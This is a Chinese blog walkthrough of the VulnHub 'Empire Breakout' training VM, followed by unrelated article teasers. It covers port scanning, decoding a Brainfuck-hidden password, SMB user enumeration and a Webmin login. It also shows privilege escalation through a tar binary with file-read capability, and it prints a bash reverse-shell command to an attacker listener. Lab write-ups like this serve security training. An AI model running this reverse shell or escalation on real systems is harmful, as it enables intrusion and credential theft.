[ vulnhub靶机通关篇 ] Empire Breakout 通关详解

news/2024/4/21 1:05:40/

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、下载靶场环境
    • 2、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:查看端口和服务
    • 3、访问80端口发现提示信息得到一个密码
      • 1.访问一下web
      • 2.查看源码发现一段提示
      • 3.翻译解密提示信息
      • 4.brainfuck 语言简介
    • 4、访问10000和20000端口发现两个登录页
      • 1.访问10000端口
      • 2.访问20000端口
    • 5、收集有关靶机smb的信息获取到用户名cyber
      • 1.思路
      • 2.收集smb信息
      • 3.Enum4linux介绍
    • 6、利用获取的用户名和密码成功登录20000端口
    • 7、获取普通用户权限获取第一个flag
    • 8、获取root用户权限获取第一个flag
      • 1.查看当前权限
      • 2.发现tar可进行任意文件读取
      • 3.linux setcap命令的信息
      • 4.发现备份文件.old_pass.bak
      • 5.利用tar读取密码备份文件
      • 6.成功读取root密码
      • 7.发现网页命令行无法执行su命令
      • 8.反弹靶机shell到kali方式解决上述问题
      • 9.使用root密码登录root用户,提权成功
  • 三、相关资源

一、环境搭建:

1、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/empire-breakout,751/

下载下来的文件如下

在这里插入图片描述

2、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们可以看到虚拟机ip:192.168.233.175

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:

192.168.233.175

2、信息收集:查看端口和服务

Nmap扫描靶机查看开启的端口和服务

nmap -sS -p 0-65535 -Pn -O 192.168.233.175

在这里插入图片描述

发现开放了80端口,存在WEB,
开放了139,445端口,存在SMB共享服务
开启了10000、20000端口,存在Webmin MiniServ服务(Webmin 是功能强大的基于 Web 的 Unix/linux 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理操作。)

3、访问80端口发现提示信息得到一个密码

1.访问一下web

http://192.168.233.175/

在这里插入图片描述

2.查看源码发现一段提示

<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->

在这里插入图片描述

3.翻译解密提示信息

提示的大概意思就是:
翻译过来时:别担心没有人会来这里,和你分享我的权限是安全的。它是加密的:)
也就是说这段奇奇怪怪的代码是加密文件,我们需要将他进行解密,这应该是密码经过某种加密或者编码形成的,经过一段时间的查找,发现是ook加密,是brainfuck加密方法的一种
我们进行解密:解密工具:https://ctf.bugku.com/tool/brainfuck
解密过后是:

.2uqPEfj3D<P’a-3

在这里插入图片描述

4.brainfuck 语言简介

brainfuck 语言用 > < + - . , [ ] 八种符号来替换C语言的各种语法和命令,具体规则如下:
Brainfuck 编程语言由八个命令组成,每个命令都表示为一个字符。

> 增加指针。 
< 减少指针。 
+ 增加指针处的字节。 
- 减少指针处的字节。 
. 输出指针处的字节。 
, 输入一个字节并将其存储在指针处的字节中。 
[ 跳过匹配项] 如果指针处的字节为零。 
] 向后跳转到匹配的 [ 除非指针处的字节为零。 
Brainfuck 命令的语义也可以用 C 语言简洁地表达,如下(假设 p 之前已定义为 char*): 
> 变为 ++p; 
< 变成 --p; 
+ 变为 ++*p; 
- 变成 --*p; 
. 变成 putchar(*p); 
, 变成 *p = getchar(); 
[ 变成 while (*p) { 
] 变成 } 

4、访问10000和20000端口发现两个登录页

有一种强烈的预感,这是一段密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

1.访问10000端口

https://192.168.233.175:10000/session_login.cgi

在这里插入图片描述

2.访问20000端口

https://192.168.233.175:20000/

在这里插入图片描述

5、收集有关靶机smb的信息获取到用户名cyber

1.思路

鉴于我们已经有了用户的密码,所以我们要着手寻找用户名了
由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息

2.收集smb信息

使用命令enum4linux可以收集大量的信息

enum4linux 192.168.233.175

在这里插入图片描述

最终发现了一个用户名cyber

在这里插入图片描述

3.Enum4linux介绍

Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
用法:

./enum4linux.pl [选项] ip地址枚举选项:-U        获取用户列表-M        获取机器列表*-S        获取共享列表-P        获取密码策略信息-G        获取组和成员列表-d        详述适用于-U和-S-u user   用户指定要使用的用户名(默认""-p pass   指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项:-a        做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项-h        显示此帮助消息并退出-r        通过RID循环枚举用户-R range  RID范围要枚举(默认值:500-550,1000-1050,隐含-r)-K n      继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用-l        通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)-s        文件暴力猜测共享名称-k user   远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)用于获取sid与“lookupsid known_username”使用逗号尝试几个用户:“-k admin,user1,user2”-o        获取操作系统信息-i        获取打印机信息-w wrkg   手动指定工作组(通常自动找到)-n        做一个nmblookup(类似于nbtstat)
-v        详细输出,显示正在运行的完整命令(net,rpcclient等)

6、利用获取的用户名和密码成功登录20000端口

由于20000端口是登录用户的,我们拿用户名cyber和之前获得的密码去登录一下20000端口,登陆成功

在这里插入图片描述

7、获取普通用户权限获取第一个flag

登录进去摸索了一会儿,发现左下角有一个终端的图标,点进去之后就可以运行命令了

在这里插入图片描述

进入命令行,执行ls发现有一个user.txt文件,使用cat查看,得到第一个flag

ls
cat user.txt

在这里插入图片描述

8、获取root用户权限获取第一个flag

1.查看当前权限

执行whoami发现是用户权限

whoami

在这里插入图片描述

2.发现tar可进行任意文件读取

通过ls -l查看文件权限,发现tar具有执行权限,猜想他是一个可执行文件

ls -l

在这里插入图片描述

通过getcap命令查看文件拥有的权限是什么

getcap tar

发现cap_dac_read _search=ep,说明他是可以读取任意文件的

在这里插入图片描述

3.linux setcap命令的信息

https://blog.csdn.net/megan_free/article/details/100357702\

4.发现备份文件.old_pass.bak

既然给了我们一个可进行任意读取的可执行文件,那就肯定是要我们找一个文件来读取,获得root的密码。
经过一段时间的寻找之后,发现/var/backups下有个备份文件.old_pass.bak

在这里插入图片描述

5.利用tar读取密码备份文件

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar

这里打包的时候一定要使用./tar,不然会提示没权限,没有加./代表的是你用的系统安装的tar不是这个目录下的tar,就不一定会有读取任意文件的权限

在这里插入图片描述

我们的用户目录下多了两个文件

在这里插入图片描述

6.成功读取root密码

cat var/backups/.old_pass.bak

得到root密码:

Ts&4&YurgtRX(=~h

在这里插入图片描述

7.发现网页命令行无法执行su命令

切换到root用户

su root

发现这里执行不了su

在这里插入图片描述

8.反弹靶机shell到kali方式解决上述问题

反弹shell后
那那那,我干脆反弹一个shell到我的kali吧
Kali监听

nc -lvvp 55555

在这里插入图片描述

靶机连接

bash -i >& /dev/tcp/192.168.233.130/55555 0>&1

在这里插入图片描述

攻击机获取到靶机的shell

在这里插入图片描述

9.使用root密码登录root用户,提权成功

切换到root用户

su root

执行whoami 发现是root权限,提权成功

在这里插入图片描述

得到第二个flag

cd /root
cat rOOt.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、ook在线解密工具
3、enum4linux枚举工具
4、Brainfuck介绍
5、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
6、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell


http://www.ppmy.cn/news/30266.html

相关文章

深度学习第一步——Pytorch-Gpu环境配置:Win11/Win10+Cuda10.2+cuDNN8.5.0+Pytorch1.8.0(步步巨细,少走十年弯路)

博主已有&#xff1a;PycharmAnaconda 通过这篇博客你将获得&#xff1a;Cuda10.2cuDNN11.xPytorch1.8.0(GPU) import torchprint(torch.cuda.is_available()) print(torch.__version__) print(torch.version.cuda) True 1.8.0 10.2 目录 1.确定自己电脑有无显卡 2.确定显卡支…

K8S篇-安装nfs插件

前言 有关k8s的搭建可以参考&#xff1a;http://t.csdn.cn/H84Zu 有关过程中使用到的nfs相关的nas&#xff0c;可以参考&#xff1a; http://t.csdn.cn/ACfoT http://t.csdn.cn/tPotK http://t.csdn.cn/JIn27 安装nfs存储插件 NFS-Subdir-External-Provisioner是一个自动配置…

生产环境线程问题排查

线程状态的解读RUNNABLE线程处于运行状态&#xff0c;不一定消耗CPU。例如&#xff0c;线程从网络读取数据&#xff0c;大多数时间是挂起的&#xff0c;只有数据到达时才会重新唤起进入执行状态。只有Java代码显式调用sleep或wait方法时&#xff0c;虚拟机才可以精准获取到线程…

数字图像学笔记 —— 17. 图像退化与复原(自适应滤波之「最小二乘方滤波」)

文章目录维纳滤波的缺点约束最小二乘方滤波给一个实际例子吧维纳滤波的缺点 维纳滤波&#xff08;Wiener Filter&#xff09;&#xff0c;虽然是一种非常强大的退化图像还原算法&#xff0c;但是从实验过程我们也发现它存在着致命的缺陷&#xff0c;那就是要求输入退化系统的 …

KNN学习报告

原理 KNN算法就是在其表征空间中&#xff0c;求K个最邻近的点。根据已知的这几个点对其进行分类。如果其特征参数只有一个&#xff0c;那么就是一维空间。如果其特征参数只有两个&#xff0c;那么就是二维空间。如果其特征参数只有三个&#xff0c;那么就是三维空间。如果其特征…

进程控制~

进程控制 &#xff08;创建、终止&#xff0c;等待&#xff0c;程序替换&#xff09; 进程创建&#xff1a; pid_t fork();父子进程&#xff0c;数据独有&#xff0c;代码共享&#xff0c;各有各的地址 pit_t vfork();父进程阻塞&#xff0c;直到子进程exit退出或者程序替换之…

shell基础(5)算数计算:运算语法、自增自减

文章目录1. shell算数运算的特点2. 运算符一览3. 运算语法3.1 整形运算3.2. 小数运算 ing4. 自增自减4.1. a与a4.2. 自加1. shell算数运算的特点 Shell 和其它编程语言不同&#xff0c;Shell 不能直接进行算数运算&#xff0c;必须使用数学计算命令。Shell只支持整数运算&#…

PDF 解析格式化输出 API 数据接口

PDF 解析格式化输出 API 数据接口 支持输出 TEXT HTML XML TAG&#xff0c;多种格式输出&#xff0c;超精准识别率。 1. 产品功能 通用的识别接口&#xff0c; 支持标准 PDF 文件解析&#xff1b;多种格式输出&#xff0c;支持 TEXT HTML XML TAG&#xff1b;HTML 包含完美排…

Pytorch处理数据与训练网络问题汇总(协同训练)

基础语法 模型训练 【Swin-Unet】官方代码预训练权重加载函数load_from() 实际上由于SwinUnet是一个encoder-decoder对称的结构&#xff0c;因此加载权重时&#xff0c;作者并没有像通常那样仅仅加载encoder部分而不加载decoder部分&#xff0c;而是同时将encoder的权重对称地…

滚动升级回滚

滚动升级回滚 ReplicationController 资源文件 apiVersion: v1 kind: ReplicationController metadata:name: kubia-v1labels:app: kubia spec:replicas: 3template:metadata:name: kubialabels:app: kubiaspec:containers:- image: luksa/kubia:v1name: nodejes --- apiVer…

【ONE·C || 文件操作】

总言 C语言&#xff1a;文件操作。    文章目录总言1、文件是什么&#xff1f;为什么需要文件&#xff1f;1.1、为什么需要文件&#xff1f;1.2、文件是什么&#xff1f;2、文件的打开与关闭2.1、文件指针2.2、文件打开和关闭&#xff1a;fopen、fclose2.3、文件使用方式3、文…

【Java】反射机制和代理机制

目录一、反射1. 反射概念2. 反射的应用场景3. 反射机制的优缺点4. 反射实战获取 Class 对象的四种方式二、代理机制1. 代理模式2. 静态代理3. 动态代理3.1 JDK动态代理机制1. 介绍2.JDK 动态代理类使用步骤3. 代码示例3.2 CGLIB 动态代理机制1.介绍2.CGLIB 动态代理类使用步骤3…

Hyperf使用RabbitMQ消息队列

Hyperf连接使用RabbitMQ消息中间件 传送门 使用Docker部署RabbitMQ&#xff0c;->传送门<使用Docker部署Hyperf&#xff0c;->传送门-< 部署环境 安装amqp扩展 composer require hyperf/amqp安装command命令行扩展 composer require hyperf/command配置参数 假…

如何打造一款专属于自己的高逼格电脑桌面

作为一名电脑重度使用者&#xff0c;你是否拥有一款属于你自己的高逼格电脑桌面呢&#xff1f;你是不是也像大多数同学一样&#xff0c;会把所有的内容全部都堆积到电脑桌面&#xff0c;不仅找东西困难&#xff0c;由于桌面内容太多还会导致C盘空间不足&#xff0c;影响电脑的反…

G. Special Permutation(构造)

1、题目 G. Special Permutation 这道题的意思是给我们从111到nnn的排列&#xff0c;然后我们对这个排列的顺序上进行调换&#xff0c;需要满足的条件是任意两个相邻元素的绝对值的差满足条件&#xff1a;2≤∣pi−pi1∣≤42\leq |p_i-p_{i 1}|\leq 42≤∣pi​−pi1​∣≤4 …

守护进程 || 精灵进程

目录 守护进程&#xff08;deamon&#xff09; || 精灵进程 特点 什么是前台进程组 把自己写的服务器deamon deamon代码 守护进程&#xff08;deamon&#xff09; || 精灵进程 特点 01. 他的PPID是1&#xff08;附件特征&#xff09;02. COMMAND --- 称为进程启动的命令03…

Python每日一练(20230305)

目录 1. 正则表达式匹配 ★★★ 2. 寻找旋转排序数组中的最小值 II ★★★ 3. 删除排序链表中的重复元素 II ★★ 1. 正则表达式匹配 给你一个字符串 s 和一个字符规律 p&#xff0c;请你来实现一个支持 . 和 * 的正则表达式匹配。 . 匹配任意单个字符* 匹配零个或多个…

向Spring容器中注入bean有哪几种方式?

文章前言&#xff1a; 写这篇文章的时候&#xff0c;我正在手机上看腾讯课堂的公开课&#xff0c;有讲到 Spring IOC 创建bean有哪几种方式&#xff0c;视频中有提到过 set注入、构造器注入、注解方式注入等等&#xff1b;于是&#xff0c;就想到了写一篇《Spring注入bean有几种…

什么是Hibernate框架?

简单介绍&#xff1a;Hibernate框架是当今主流的java持久层框架之一&#xff0c;是一个开放源码的ORM&#xff08;Object Relational Mapping&#xff0c;对象关系映射&#xff09;框架&#xff0c;它对JDBC进行了轻量级的封装&#xff0c;使得JAVA开发人员可以使用面向对象的编…

JavaWeb开发(三)3.5——Java的反射机制

一、反射机制的概念 指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法&#xff0c;对于任意一个对象&#xff0c;都能调用它的任意一个方法。这种动态获取信息&#xff0c;及动态调用对象方法的功能叫java语言的反射机制。 Java反射机制的核心是在程序运行时动…